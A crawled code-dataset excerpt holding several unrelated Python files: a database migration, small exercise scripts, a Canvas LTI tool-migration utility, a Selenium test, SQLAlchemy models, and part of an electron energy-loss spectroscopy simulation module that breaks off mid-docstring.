sa.Column(\"leader_score\", sa.Integer, default=0, nullable=False), # determines position on leader board\n sa.Column(\"modified_date\", sa.DateTime(), nullable=False, server_default=sa.func.current_timestamp()),\n sa.Column(\"reactions\", sa.Integer, default=0, nullable=False), # reactions sent by user\n sa.Column(\"posts\", sa.Integer, default=0, nullable=False), # posts sent by user\n sa.Column(\"upvotes\", sa.Integer, default=0, nullable=False), # received upvotes (form other users)\n sa.Column(\"downvotes\", sa.Integer, default=0, nullable=False), # received downvotes (from other users)\n sa.Column(\"work_reward\", sa.Integer, default=0, nullable=False), # reward for workpackage completions\n sa.Column(\"compare_wins\", sa.Integer, default=0, nullable=False), # num times user's post won compare tasks\n sa.Column(\"compare_losses\", sa.Integer, default=0, nullable=False), # num times users's post lost compare tasks\n sa.PrimaryKeyConstraint(\"person_id\"),\n sa.ForeignKeyConstraint([\"person_id\"], [\"person.id\"]),\n )\n\n op.create_table(\n \"work_package\",\n sa.Column(\"id\", UUID(as_uuid=True), default=uuid.uuid4, server_default=sa.text(\"gen_random_uuid()\")),\n sa.Column(\"created_date\", sa.DateTime(), nullable=False, server_default=sa.func.current_timestamp()),\n sa.Column(\"expiry_date\", sa.DateTime(), nullable=True),\n sa.Column(\"person_id\", UUID(as_uuid=True), nullable=True),\n sa.Column(\"payload_type\", sa.String(200), nullable=False), # deserialization hint & dbg aid\n sa.Column(\"payload\", JSONB(astext_type=sa.Text()), nullable=False),\n sa.Column(\"api_client_id\", UUID(as_uuid=True), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.ForeignKeyConstraint([\"person_id\"], [\"person.id\"]),\n sa.ForeignKeyConstraint([\"api_client_id\"], [\"api_client.id\"]),\n )\n op.create_index(op.f(\"ix_work_package_person_id\"), \"work_package\", [\"person_id\"], unique=False)\n\n op.create_table(\n \"post\",\n sa.Column(\"id\", UUID(as_uuid=True), default=uuid.uuid4, server_default=sa.text(\"gen_random_uuid()\")),\n sa.Column(\"parent_id\", UUID(as_uuid=True), nullable=True), # root posts have NULL parent\n sa.Column(\"thread_id\", UUID(as_uuid=True), nullable=False), # id of thread root\n sa.Column(\"workpackage_id\", UUID(as_uuid=True), nullable=True), # workpackage id to pass to handler on reply\n sa.Column(\"person_id\", UUID(as_uuid=True), nullable=True), # sender (recipients are part of payload)\n sa.Column(\"api_client_id\", UUID(as_uuid=True), nullable=False),\n sa.Column(\"role\", sa.String(128), nullable=False), # 'assistant', 'user' or something else\n sa.Column(\"frontend_post_id\", sa.String(200), nullable=False), # unique together with api_client_id\n sa.Column(\"created_date\", sa.DateTime(), nullable=False, server_default=sa.func.current_timestamp()),\n sa.Column(\"payload_type\", sa.String(200), nullable=False), # deserialization hint & dbg aid\n sa.Column(\"payload\", JSONB(astext_type=sa.Text()), nullable=True),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.ForeignKeyConstraint([\"person_id\"], [\"person.id\"]),\n sa.ForeignKeyConstraint([\"api_client_id\"], [\"api_client.id\"]),\n )\n op.create_index(op.f(\"ix_post_frontend_post_id\"), \"post\", [\"api_client_id\", \"frontend_post_id\"], unique=True)\n op.create_index(op.f(\"ix_post_thread_id\"), \"post\", [\"thread_id\"], unique=False)\n op.create_index(op.f(\"ix_post_workpackage_id\"), \"post\", [\"workpackage_id\"], unique=False)\n op.create_index(op.f(\"ix_post_person_id\"), \"post\", [\"person_id\"], unique=False)\n\n op.create_table(\n \"post_reaction\",\n sa.Column(\"post_id\", UUID(as_uuid=True), nullable=False),\n sa.Column(\"person_id\", UUID(as_uuid=True), nullable=False), # sender (recipients are part of payload)\n sa.Column(\"created_date\", sa.DateTime(), nullable=False, server_default=sa.func.current_timestamp()),\n sa.Column(\"payload_type\", sa.String(200), nullable=False), # deserialization hint & dbg aid\n sa.Column(\"payload\", JSONB(astext_type=sa.Text()), nullable=False),\n sa.Column(\"api_client_id\", UUID(as_uuid=True), nullable=False),\n sa.PrimaryKeyConstraint(\"post_id\", \"person_id\"),\n sa.ForeignKeyConstraint([\"post_id\"], [\"post.id\"]),\n sa.ForeignKeyConstraint([\"person_id\"], [\"person.id\"]),\n sa.ForeignKeyConstraint([\"api_client_id\"], [\"api_client.id\"]),\n )\n\n\ndef downgrade() -> None:\n op.drop_table(\"post_reaction\")\n\n op.drop_index(\"ix_post_person_id\")\n op.drop_index(\"ix_post_workpackage_id\")\n op.drop_index(\"ix_post_thread_id\")\n op.drop_index(\"ix_post_frontend_post_id\")\n op.drop_table(\"post\")\n\n op.drop_index(\"ix_work_package_person_id\")\n op.drop_table(\"work_package\")\n\n op.drop_table(\"person_stats\")\n\n op.drop_index(\"ix_person_username\")\n op.drop_table(\"person\")\n\n op.drop_index(\"ix_api_client_api_key\")\n op.drop_table(\"api_client\")\n\n op.create_table(\n \"service_client\",\n sa.Column(\"id\", sa.Integer, sa.Identity()),\n sa.Column(\"name\", sa.String(200), nullable=False),\n sa.Column(\"service_admin_email\", sa.String(128), nullable=True),\n sa.Column(\"api_key\", sa.String(300), nullable=False),\n sa.Column(\"can_append\", sa.Boolean, nullable=False, server_default=\"true\"),\n sa.Column(\"can_write\", sa.Boolean, nullable=False, server_default=\"false\"),\n sa.Column(\"can_delete\", sa.Boolean, nullable=False, server_default=\"false\"),\n sa.Column(\"can_read\", sa.Boolean, nullable=False, server_default=\"true\"),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_index(op.f(\"ix_service_client_api_key\"), \"service_client\", [\"api_key\"], unique=True)\n\n op.create_table(\n \"labeler\",\n sa.Column(\"id\", sa.Integer, sa.Identity()),\n sa.Column(\"display_name\", sa.String(96), nullable=False),\n sa.Column(\"discord_username\", sa.String(96), nullable=True),\n sa.Column(\n \"created_date\",\n sa.DateTime,\n nullable=False,\n server_default=sa.func.current_timestamp(),\n ),\n sa.Column(\"is_enabled\", sa.Boolean, nullable=False, server_default=\"true\"),\n sa.Column(\"notes\", sa.String(10 * 1024), nullable=True),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"discord_username\"),\n )\n\n op.create_table(\n \"prompt\",\n sa.Column(\"id\", sa.Integer, sa.Identity()),\n sa.Column(\"labeler_id\", sa.Integer, nullable=False),\n sa.Column(\"prompt\", sa.Text, nullable=False),\n sa.Column(\"response\", sa.Text, nullable=True),\n sa.Column(\"lang\", sa.String(32), nullable=True),\n sa.Column(\n \"created_date\",\n sa.DateTime(),\n nullable=False,\n server_default=sa.func.current_timestamp(),\n ),\n sa.ForeignKeyConstraint(\n [\"labeler_id\"],\n [\"labeler.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_index(op.f(\"prompt_labeler_id\"), \"prompt\", [\"labeler_id\"], unique=False)\n","repo_name":"LAION-AI/Open-Assistant","sub_path":"backend/alembic/versions/2022_12_16_0000-cd7de470586e_v1_db_structure.py","file_name":"2022_12_16_0000-cd7de470586e_v1_db_structure.py","file_ext":"py","file_size_in_byte":9301,"program_lang":"python","lang":"en","doc_type":"code","stars":35772,"dataset":"github-code","pt":"60"} +{"seq_id":"74045212670","text":"students = []\nfor _ in range(int(input())):\n name = input()\n score = float(input())\n student = [name, score]\n students.append(student)\nsorted_grades = sorted(students, key=lambda kvp: (kvp[1], kvp[0]))\nminGrade = sorted_grades[0]\nsecondGradeNames = []\nfor i in sorted_grades:\n if i[1] != minGrade[1]:\n secondGradeNames.append(i)\nminSecondGrade = secondGradeNames[0]\nfor i in secondGradeNames:\n if i[1] == minSecondGrade[1]:\n print(i[0])","repo_name":"danielstaikov/HackerRank","sub_path":"Stuedents.py","file_name":"Stuedents.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41769850885","text":"import logging\nimport os\nfrom contextlib import nullcontext\nfrom io import StringIO\n\nimport trio\nfrom dotenv import load_dotenv\nfrom tqdm import tqdm\n\nfrom api import API\nfrom data import Course, ExternalTool, ToolMigration\nfrom db import DB, Dialect\nfrom exceptions import InvalidToolIdsException\nfrom manager import AccountManagerFactory, CourseManager\nfrom utils import convert_csv_to_int_list, find_entity_by_id, time_execution\n\nsummaryLogBuffer = StringIO()\nsummaryLogHandler = logging.StreamHandler(summaryLogBuffer)\nsummaryLogHandler.setLevel(logging.WARNING)\n\nlogging.basicConfig(\n level=logging.INFO,\n style='{',\n format='{asctime} | {levelname} | {module}:{lineno} | {message}',\n handlers=[logging.StreamHandler(), summaryLogHandler])\n\nlogger = logging.getLogger(__name__)\n\n\nclass tqdmLogging(tqdm):\n \"\"\"\n FIXME: Ideally, a constructor should take a logger instance and log level\n parameters, but tqdm calls `status_printer()` as a static method, so it\n can't access instance variables anyway.\n \"\"\"\n\n @staticmethod\n def status_printer(_):\n def logStatus(status):\n logger.info(status)\n\n return logStatus\n\n\nclass TrioProgress(trio.abc.Instrument):\n def __init__(self,\n total, **kwargs):\n self.tqdm = tqdmLogging(total=total, mininterval=None,\n leave=False, **kwargs)\n\n def task_exited(self, task):\n if task.name.endswith('migrate_tool_for_course'):\n self.tqdm.update(1)\n\n\ndef find_tools_for_migrations(\n tools: list[ExternalTool], migrations: list[ToolMigration]\n) -> list[tuple[ExternalTool, ExternalTool]]:\n tool_pairs: list[tuple[ExternalTool, ExternalTool]] = []\n for migration in migrations:\n source_tool = find_entity_by_id(migration.source_id, tools)\n target_tool = find_entity_by_id(migration.target_id, tools)\n if source_tool is None or target_tool is None:\n invalid_tool_ids = []\n if source_tool is None:\n invalid_tool_ids.append(migration.source_id)\n if target_tool is None:\n invalid_tool_ids.append(migration.target_id)\n raise InvalidToolIdsException(\n 'The following tool IDs from one of your migrations '\n 'were not found in the account: ' +\n str(invalid_tool_ids))\n tool_pairs.append((source_tool, target_tool))\n return tool_pairs\n\n\nasync def migrate_tool_for_course(api: API, course: Course,\n source_tool: ExternalTool,\n target_tool: ExternalTool):\n course_manager = CourseManager(course, api)\n tabs = await course_manager.get_tool_tabs()\n source_tool_tab = CourseManager.find_tab_by_tool_id(source_tool.id, tabs)\n target_tool_tab = CourseManager.find_tab_by_tool_id(target_tool.id, tabs)\n if source_tool_tab is None or target_tool_tab is None:\n raise InvalidToolIdsException(\n 'One or both of the following tool IDs are not available in '\n 'this course: ' +\n str([source_tool.id, target_tool.id]))\n await course_manager.replace_tool_tab(source_tool_tab, target_tool_tab)\n\n\n@time_execution\nasync def main(api: API, account_id: int, term_ids: list[int],\n migrations: list[ToolMigration], db: DB | None = None):\n factory = AccountManagerFactory()\n account_manager = factory.get_manager(account_id, api, db)\n\n async with api.client:\n with db if db is not None else nullcontext(): # type: ignore\n account_name = await account_manager.get_name()\n logger.info(f'Account ({account_id}) name: {repr(account_name)}')\n\n term_names = await account_manager.get_term_names(term_ids)\n logger.info(f'Term names…')\n for term_id in term_ids:\n logger.info(f' Term ({term_id}): {repr(term_names[term_id])}')\n\n tools = await account_manager.get_tools_installed_in_account()\n logger.info(\n 'Number of tools found in account'\n f' ({account_id}): {len(tools)}')\n\n logger.debug('Tools…\\n\\t' +\n '\\n\\t'.join([str(tool) for tool in tools]))\n\n tool_pairs = find_tools_for_migrations(tools, migrations)\n\n # get list of tools available in account\n courses = await account_manager.get_courses_in_terms(term_ids)\n logger.info(\n f'Number of courses found in account ({account_id}) '\n f'for terms {term_ids}: {len(courses)}')\n\n for source_tool, target_tool in tool_pairs:\n logger.info(f'Source tool: {source_tool}')\n logger.info(f'Target tool: {target_tool}')\n\n progress = TrioProgress(total=len(courses), unit='courses')\n trio.lowlevel.add_instrument(progress)\n async with trio.open_nursery() as nursery:\n for course in courses:\n nursery.start_soon(migrate_tool_for_course, api,\n course, source_tool, target_tool)\n trio.lowlevel.remove_instrument(progress)\n\n\ndef run():\n logger.info('Starting migration…')\n\n # get configuration (either env. variables, cli flags, or direct input)\n root_dir: str = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n env_file_name: str = os.path.join(root_dir, 'env')\n\n if os.path.exists(env_file_name):\n logger.info(f'Setting environment from file {repr(env_file_name)}.')\n load_dotenv(env_file_name, verbose=True)\n else:\n logger.info(f'File {repr(env_file_name)} not found. '\n 'Using existing environment.')\n\n logger.info('Parameters from environment…')\n\n # Set up logging\n log_level_default = logging.INFO\n log_level = os.getenv('LOG_LEVEL', log_level_default)\n logger.info(f' LOG_LEVEL: {repr(log_level)} '\n f'({repr(logging.getLevelName(log_level))})')\n if log_level == '':\n log_level = log_level_default\n logger.info(f' Using default LOG_LEVEL: {repr(log_level)} '\n f'({repr(logging.getLevelName(log_level))})')\n\n http_log_level_default = logging.WARNING\n http_log_level = os.getenv('HTTP_LOG_LEVEL', http_log_level_default)\n logger.info(f' HTTP_LOG_LEVEL: {repr(http_log_level)} '\n f'({repr(logging.getLevelName(http_log_level))})')\n if http_log_level == '':\n http_log_level = http_log_level_default\n logger.info(f' Using default HTTP_LOG_LEVEL: {repr(http_log_level)} '\n f'({repr(logging.getLevelName(http_log_level))})')\n\n logging.basicConfig(level=log_level)\n\n httpx_logger = logging.getLogger('httpx')\n httpx_logger.setLevel(http_log_level)\n httpcore_logger = logging.getLogger('httpcore')\n httpcore_logger.setLevel(http_log_level)\n\n api_url: str = os.getenv('API_URL', '')\n logger.info(f' API_URL: {repr(api_url)}')\n\n api_key: str = os.getenv('API_KEY', '')\n logger.info(f' API_KEY: *REDACTED*')\n\n account_id: int = int(os.getenv('ACCOUNT_ID', 0))\n logger.info(f' ACCOUNT_ID: ({account_id})')\n\n enrollment_term_ids: list[int] = convert_csv_to_int_list(\n os.getenv('ENROLLMENT_TERM_IDS_CSV', '0'))\n logger.info(f' ENROLLMENT_TERM_IDS_CSV: {enrollment_term_ids}')\n\n source_tool_id: int = int(os.getenv('SOURCE_TOOL_ID', 0))\n logger.info(f' SOURCE_TOOL_ID: ({source_tool_id})')\n\n target_tool_id: int = int(os.getenv('TARGET_TOOL_ID', 0))\n logger.info(f' TARGET_TOOL_ID: ({target_tool_id})')\n\n wh_host = os.getenv('WH_HOST')\n logger.info(f' WH_HOST: {repr(wh_host)}')\n\n wh_port = os.getenv('WH_PORT')\n logger.info(f' WH_PORT: {repr(wh_port)}')\n\n wh_name = os.getenv('WH_NAME')\n logger.info(f' WH_NAME: {repr(wh_name)}')\n\n wh_user = os.getenv('WH_USER')\n logger.info(f' WH_USER: {repr(wh_user)}')\n\n wh_password = os.getenv('WH_PASSWORD')\n logger.info(f' WH_PASSWORD: *REDACTED*')\n\n wh_disabled_param = os.getenv('WH_DISABLED', 'false')\n wh_disabled = wh_disabled_param.lower() in ('true', 'yes', '1')\n logger.info(f' WH_DISABLED: {repr(wh_disabled_param)} '\n f'({repr(wh_disabled)})')\n\n db: DB | None = None\n if (\n not wh_disabled and\n wh_host is not None and\n wh_port is not None and\n wh_name is not None and\n wh_user is not None and\n wh_password is not None\n ):\n logger.info(\n 'Warehouse connection is configured, so it will be '\n 'used to fetch some data quicker…')\n db = DB(\n Dialect.POSTGRES, {\n 'host': wh_host,\n 'port': wh_port,\n 'name': wh_name,\n 'user': wh_user,\n 'password': wh_password})\n else:\n logger.warning('Warehouse connection is disabled or not fully '\n 'configured, so falling back to only using the '\n 'Canvas API…')\n\n trio.run(main, API(api_url, api_key), account_id,\n enrollment_term_ids, [\n ToolMigration(source_id=source_tool_id,\n target_id=target_tool_id)], db)\n\n summaryLogHandler.flush()\n summaryLogBuffer.flush()\n\n logger.info(f'Log summary (WARNING or higher): {\"- \" * 20}\\n' +\n summaryLogBuffer.getvalue())\n logger.info(f'Log summary ends {\"- \" * 20}\\n')\n\n logger.info('Migration complete.')\n\n\nif '__main__' == __name__:\n run()\n","repo_name":"tl-its-umich-edu/tool-migration","sub_path":"migration/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9638,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"71524448190","text":"import allure\nfrom allure_commons.types import AttachmentType\n\nfrom src.conftest.conftest import driver\nfrom src.errors.errors import AssertError\n\nfrom src.pages.page_check_box import PageCheckBox\n\n\n@allure.feature('Testing the page check box')\n@allure.story('Testing click check box element')\ndef test_validate_click_check_box(driver):\n page_check_box = PageCheckBox(driver, \"https://demoqa.com/checkbox\")\n with allure.step('Page loading https://demoqa.com/checkbox'):\n page_check_box.open_browser()\n page_check_box.click_check_box()\n try:\n with allure.step('Checking whether the expected result matches the actual.'):\n assert page_check_box.check_result().text == 'You have selected :'\n except AssertionError:\n allure.attach(driver.get_screenshot_as_png(), name='validate_click_check_box',\n attachment_type=AttachmentType.PNG)\n raise AssertionError(AssertError.Error.value)\n","repo_name":"Evgenii180192/PYTHON_SELENIUM","sub_path":"tests/test_page_check_box.py","file_name":"test_page_check_box.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43678357466","text":"import collections\nimport sys\n\n\ndef go_maze(position, height, width):\n\n position_deque = collections.deque([position])\n\n while position_deque:\n\n pop_position = position_deque.popleft()\n\n for z in range(4):\n y = pop_position[0] + direction_up_down[z]\n x = pop_position[1] + direction_left_right[z]\n\n if y < 0 or y >= height or x < 0 or x >= width:\n continue\n\n if maze_list[y][x] == 0:\n continue\n\n if not visited_list[y][x]:\n position_deque.append((y,x))\n maze_list[y][x] += maze_list[pop_position[0]][pop_position[1]]\n visited_list[y][x] = True\n\n\n\nif __name__ == '__main__':\n height, width = map(int, sys.stdin.readline().rstrip().split(\" \"))\n\n maze_list = []\n visited_list = [[False for y in range(width)] for x in range(height)]\n for x in range(height):\n maze_list.append(list(map(int, list(sys.stdin.readline().rstrip()))))\n\n position = [0, 0]\n visited_list[0][0] = True\n direction_up_down = [1, -1, 0, 0]\n direction_left_right = [0, 0, -1, 1]\n\n go_maze((0,0),height,width)\n print(maze_list[height-1][width-1])\n","repo_name":"Byeong-soo/swjungle","sub_path":"week03/ubs4939/BFS/2178.py","file_name":"2178.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73517559870","text":"from sqlalchemy.orm import relationship\nfrom sqlalchemy import Column, Integer, String, Boolean, ForeignKey\nfrom config.database import Base\n\n\nclass Restaurant(Base):\n __tablename__ = \"restaurants\"\n\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String)\n address = Column(String)\n phone = Column(String)\n email = Column(String)\n description = Column(String)\n location = Column(String)\n is_active = Column(Boolean, default=False)\n menu = relationship(\"Menu\", back_populates=\"restaurant\")\n\n\nclass Menu(Base):\n __tablename__ = \"menus\"\n\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String)\n description = Column(String)\n price = Column(String)\n is_active = Column(Boolean, default=False)\n restaurant_id = Column(Integer, ForeignKey(\"restaurants.id\"))\n restaurant = relationship(\"Restaurant\", back_populates=\"menu\")\n order = relationship(\"Order\", back_populates=\"menu\")\n\nclass Order(Base):\n __tablename__ = \"orders\"\n\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String)\n phone = Column(String)\n address = Column(String)\n email = Column(String)\n is_active = Column(Boolean, default=False)\n menu_id = Column(Integer, ForeignKey(\"menus.id\"))\n menu = relationship(\"Menu\", back_populates=\"order\")","repo_name":"Isaiah-Mwinga/Eatzy","sub_path":"backend/app/restaurants/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"47013231169","text":"import hyperspy.api as hs\nfrom pyeels.cpyeels import calculate_spectrum, calculate_momentum_squared\nimport numpy as np\nfrom multiprocessing import Pool, cpu_count\nfrom scipy.signal import convolve, kaiser\nfrom scipy.fftpack import hilbert\n\nimport copy\nimport os\nimport signal as sign\nimport time\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass EELS:\n _MC2 = 0.511e6 #eV\n _HBARC = 1973 #eVÅ\n _E_SQUARED = 0.09170123689*_HBARC #eVÅ\n\n temperature = 0\n fermienergy = 0\n \n def __init__(self, crystal, name=None):\n self.crystal = crystal\n self.max_cpu = 1\n self.bands = (None, None)\n\n\n # A default smearing (eta) is set to 0.1 of the energy spacing\n self.smearing = 0.1 \n self.refractive_index = None\n\n self.set_incident_energy(60e3)\n \n self.polarization = None\n self.dielectric = None\n\n self.operator = np.eye(self.crystal.brillouinzone.bands[0].waves.shape[1], dtype=np.complex)\n\n self.valence_electrons = 1\n\n\n def set_operator(self, operator):\n\n if operator.shape != self.operator.shape:\n raise ValueError(\"Shape of operator must match the wave components, i.e. the shape {}\".format(self.operator.shape))\n\n self.operator = operator.astype(np.complex)\n\n def set_diffractionzone(self, zone=None, bins=None):\n \"\"\" Define the resolution of the diffraction space, similar to the CCD in TEM\n \n :type zone: ndarray\n :param zone: The range of the diffraction space, a value containing the full brillouin zone is calculated if no value given\n \n :type bins: ndarray\n :param bins: The number of bins in diffraction space, a value corresponding to the resolution of the brillouin zone is calculated if no value given. Will allways round up to an odd number\n \"\"\"\n if not zone:\n self.zone = np.max(np.abs(self.crystal.brillouinzone.lattice),axis=0)\n else:\n self.zone = zone\n \n if not bins:\n self.bins = np.round(self.crystal.brillouinzone.mesh).astype(int)\n else:\n self.bins = bins\n \n for i in range(len(self.bins)):\n if (self.bins[i]%2==0):\n self.bins[i] += 1\n \n\n def set_meta(self, name, authors, title=None, notes=None):\n \"\"\" Set the user defined metadata\n \n :type name: str\n :param name: the name of the simulation experiment\n \n :type authors: str, list\n :param authors: The name of authors contributing to the specrum\n\n :type title: str\n :param title: The title in the spectrum, should describe the crystal system\n\n :type notes: string\n :param notes: Additional notes that is convenient for a user\n \"\"\"\n \n self.name = name\n self.authors = authors\n \n if not title:\n self.title = self.name\n else:\n self.title = title\n \n if not notes:\n self.notes = \"No notes provided.\"\n else:\n self.notes = notes\n\n\n def set_incident_energy(self, incident_energy):\n self.incident_energy = incident_energy\n self.incident_k = self.incident_momentum()\n \n def _create_meta(self):\n \"\"\" Generate and organize info into a matadata dictionary recognized by hyperspy\n :returns: nested dictionary of information \"\"\"\n\n\n metadata = {}\n metadata['General'] = {}\n\n metadata['General']['name'] = self.name\n metadata['General']['title'] = self.title\n metadata['General']['authors'] = self.authors\n metadata['General']['notes'] = self.notes\n\n metadata['Signal'] = {}\n metadata['Signal']['binned'] = True\n metadata['Signal']['signal_type'] = None\n\n metadata['Sample'] = {}\n metadata['Sample']['elements'] = self.crystal.get_atom_numbers()\n\n\n metadata['Sample']['system'] = {}\n metadata['Sample']['system']['cell'] = {}\n axes = ['a','b','c']\n for i in range(len(self.crystal.lattice)):\n metadata['Sample']['system']['cell'][axes[i]] = self.crystal.lattice[i]\n\n metadata['Sample']['system']['fermienergy'] = self.fermienergy\n metadata['Sample']['system']['temperature'] = self.temperature\n\n metadata['Sample']['system']['model'] = self.crystal.brillouinzone.band_model\n metadata['Sample']['system']['bands'] = {}\n metadata['Sample']['system']['bands']['count'] = len(self.crystal.brillouinzone.bands)\n for i, band in enumerate(self.crystal.brillouinzone.bands):\n metadata['Sample']['system']['bands'][\"band {}\".format(i)] = self.crystal.brillouinzone.bands[i].__repr__()\n \n metadata['Sample']['description'] = None\n\n return metadata\n\n\n def _create_signal(self, data, eBin):\n \"\"\"Organize and convert data and axes into a hyperspy signal \n :param data: the resulting array from simulation\n :param eBin: the energy binning used in simulation\n :returns: hyperspy signal \n \"\"\"\n\n metadata = self._create_meta()\n\n s = hs.signals.BaseSignal(data, metadata=metadata)\n\n\n names = [\"Energy\", \"q_a\", \"q_b\", \"q_c\"]\n units = [\"eV\", \"a-1\", \"b-1\", \"c-1\"]\n for i in range(len(data.shape)-1):\n name = names[i + 1]\n s.axes_manager[2 - i].name = name\n s.axes_manager[name].scale = 1.0 / (self.crystal.brillouinzone.mesh[i] - 1) #self.crystal.brillouinzone.lattice[i]\n s.axes_manager[name].units = units[i + 1]\n s.axes_manager[name].offset = -0.5#-self.crystal.brillouinzone.lattice[i]/2\n i += 1\n name = names[0]\n s.axes_manager[i].name = name\n s.axes_manager[name].scale = eBin[1] - eBin[0]\n s.axes_manager[name].units = names[0]\n s.axes_manager[name].offset = eBin[0]\n #s.metadata.Signal.binned = True\n\n\n p = s.as_signal1D(-1)\n return p\n\n \n def calculate_eels(self, energyBins, fermienergy=None, temperature=None):\n \"\"\" Calculate the momentum dependent scattering cross section of the system,\n \n :type energyBins: ndarray\n :param energyBins: The binning range \n \n :type fermienergy: float\n :param fermienergy: a spesific fermienergy in eV, if not defined the standard fermienergy is used\n \n :type temperature: float\n :param temperature: a spesific temperature in Kelvin, if not defined the standard temperature is used\n \"\"\"\n\n if temperature:\n self.temperature = temperature\n if fermienergy:\n self.fermienergy = fermienergy\n\n \n\n energyBands = []\n waveStates = []\n for band in self.bands:\n energyBands.append(band.energies)\n waveStates.append(band.waves)\n\n data = calculate_spectrum(\n self.crystal.brillouinzone.mesh,\n self.crystal.brillouinzone.lattice, \n initial_band.k_grid,\n np.stack(energyBands, axis=1), \n np.stack(waveStates, axis=1).real, \n np.stack(waveStates, axis=1).imag,\n self.energyBins, \n self.fermienergy, \n self.temperature\n ) \n\n return self._create_signal(data, energyBins)\n \n def compress_signals(self, signals):\n \"\"\" Takes a list of spectra and adds them togheter to one spectrum\n \n :type signals: list\n :param signals: List of hyperspy signal or ndarray\n\n :returns: The singals added into one signal\n \"\"\"\n\n signal_total = signals[0]\n for signal in signals[1:]:\n signal_total = np.add(signal_total,signal)\n\n return signal_total\n\n def calculate_eels_multiproc(self, energyBins, incident_energy=None, bands=(None,None), fermienergy=None, temperature=None, max_cpu=None, smearing=None, refractive_index=None, compact=True):\n \"\"\" Calculate the momentum dependent scattering cross section of the system, using multiple processes\n \n :type energyBins: ndarray\n :param energyBins: The binning range \n\n :type incident_energy: float\n :param incident_energy: The energy of the incident electrons\n \n :type bands: tuple\n :param bands: Tuple of start index and end index of the bands included from the band structure\n\n :type fermienergy: float\n :param fermienergy: a spesific fermienergy in eV, if not defined the standard fermienergy is used\n \n :type temperature: float\n :param temperature: a spesific temperature in Kelvin, if not defined the standard temperature is used\n\n :type smearing: float\n :param smearing: a smearing factor in creating the dielectric function\n\n :type max_cpu: int\n :param max_cpu: The user defined maximum allowed number of CPU-cores, if not, the hardware limit is used. \n\n :type compact: bool\n :param compact: If set True, all transitions are added to one spectrum. If False a list of spectra is returned with transitions from and to individual bands. \n \n :returns: An individual hyperspy spectrum or list of spectra, see :param: compact for info, returns None if terminated\n \"\"\"\n\n\n\n if incident_energy:\n self.set_incident_energy(incident_energy)\n else:\n if not self.incident_energy:\n _logger.warning(\"No acceleration energy found, use set_incident_energy() for this. Using 60keV.\")\n self.set_incident_energy(60e3)\n\n if not (isinstance(bands[0],type(None)) and isinstance(bands[1],type(None))):\n self.bands = bands\n\n if temperature:\n self.temperature = temperature\n\n if fermienergy:\n self.fermienergy = fermienergy\n\n if smearing:\n self.smearing = smearing\n\n if refractive_index:\n self.refractive_index = refractive_index\n\n if max_cpu:\n self.max_cpu = max_cpu\n\n\n if isinstance(self.dielectric, type(None)):\n dielectrics = self.calculate_dielectric_multiproc(energyBins=energyBins, compact=compact)\n else:\n dielectrics = self.dielectric\n _logger.warning(\"Found stored dielectric, using this\")\n\n if energyBins.shape[0] == dielectrics.shape[0]:\n self.energyBins = energyBins\n else:\n raise ValueError(\"The energy bins does not match the precalculated dielectric.\")\n\n\n\n energy_loss = []\n if not isinstance(dielectrics, type(None)): \n\n if compact:\n energy_loss = EELS.calculate_energy_loss_function(dielectrics)\n\n else:\n for i, dielectric in enumerate(dielectrics):\n energy_loss.append(self.calculate_energy_loss_function(dielectric))\n\n else:\n return None \n\n if not isinstance(energy_loss, type(None)): \n weights = self.signal_weights()*(self._E_SQUARED*self._MC2)/(np.pi**2*self._HBARC**2*self.incident_k**3)\n\n # Correct the weighting in the optical limit (Stephen L. Adler 1962)\n center = ((self.bins-1)/2).astype(int)\n weights[:,center[0], center[1], center[2]] = np.zeros(weights[:,center[0], center[1], center[2]].shape)\n\n if compact:\n if (energy_loss.shape == weights.shape):\n signal_total = np.nan_to_num(energy_loss*weights)\n\n signal_total = self._create_signal(signal_total, self.energyBins)\n\n return signal_total\n else:\n raise ValueError(\"The shapes of dielectric function and weights mismatch, try restart kernel.\")\n else:\n original_title = self.title\n signals = []\n for i, sub_energy_loss in enumerate(energy_loss):\n if (sub_energy_loss.shape == weights.shape):\n signal = np.nan_to_num(sub_energy_loss*weights)\n self.title = original_title+\" from band {}: {} to {}: {}\".format(self._transitions[i][0], self._transitions[i][2], self._transitions[i][1], self._transitions[i][3])\n signals.append(self._create_signal(signal, self.energyBins)) \n else:\n raise ValueError(\"The shapes of dielectric function and weights mismatch, try restart kernel.\")\n\n self.title = original_title\n\n return signals\n\n\n else:\n return None\n\n def calculate_dielectric_multiproc(self, energyBins, bands=(None,None), incident_energy=None, fermienergy=None, temperature=None, max_cpu=None, smearing=None, refractive_index=None, plasmon_energy=None, compact=True):\n \"\"\" Calculate the complex momentum dependent dielectric function of the system, using multiple processes\n \n :type energyBins: ndarray\n :param energyBins: The binning range \n \n :type bands: tuple\n :param bands: Tuple of start index and end index of the bands included from the band structure\n\n :type fermienergy: float\n :param fermienergy: a spesific fermienergy in eV, if not defined the standard fermienergy is used\n \n :type temperature: float\n :param temperature: a spesific temperature in Kelvin, if not defined the standard temperature is used\n\n :type smearing: float\n :param smearing: a smearing factor in creating the dielectric function\n\n :type max_cpu: int\n :param max_cpu: The user defined maximum allowed number of CPU-cores, if not, the hardware limit is used. \n\n :type compact: bool\n :param compact: If set True, all transitions are added to one array. If False a list of arrays is returned with transitions from and to individual bands. \n \n :returns: An individual numpy ndarray or list of arrays, see :param: 